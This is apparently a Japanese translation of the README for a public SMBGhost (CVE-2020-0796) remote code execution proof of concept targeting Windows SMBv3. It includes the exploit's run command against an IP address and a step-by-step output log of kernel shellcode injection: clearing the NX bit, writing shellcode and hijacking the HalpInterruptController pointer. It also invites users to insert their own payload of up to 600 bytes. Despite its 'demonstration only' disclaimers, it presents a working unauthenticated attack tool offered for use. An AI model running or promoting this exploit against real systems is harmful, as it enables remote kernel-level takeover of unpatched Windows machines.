
CVE-2020-0796 (SMBGhost) に対する概念実証リモートコード実行エクスプロイト。Windows SMBv3の圧縮脆弱性を標的とし、カーネルシェルコードインジェクションを伴います。
CVE-2020-0796「SMBGhost」のRCE PoC
デモンストレーション目的のみ! これは参考としてのみ使用してください。本当です。自身のラボ環境以外ではテストしていません。迅速に作成したもので、信頼性を高めるにはもう少し手を加える必要があります。時々BSODが発生します。自己学習以外の目的で使用することは極めて悪い考えです。あなたのコンピュータは炎上します。子犬が死にます。
さて、それはさておき…
使用例:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
exploit.py内のUSER_PAYLOADにペイロードを置き換えてください。最大600バイトです。それ以上必要な場合は、自分でカーネルシェルコードを修正してください。
lznt1コードはこちらから。クラッシュを引き起こさずにSRVNETバッファヘッダーを破損させる「bad compression」関数を追加するように修正しました。
使用した手法の詳細については、Ricera Securityによるこの優れた解説を参照してください: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html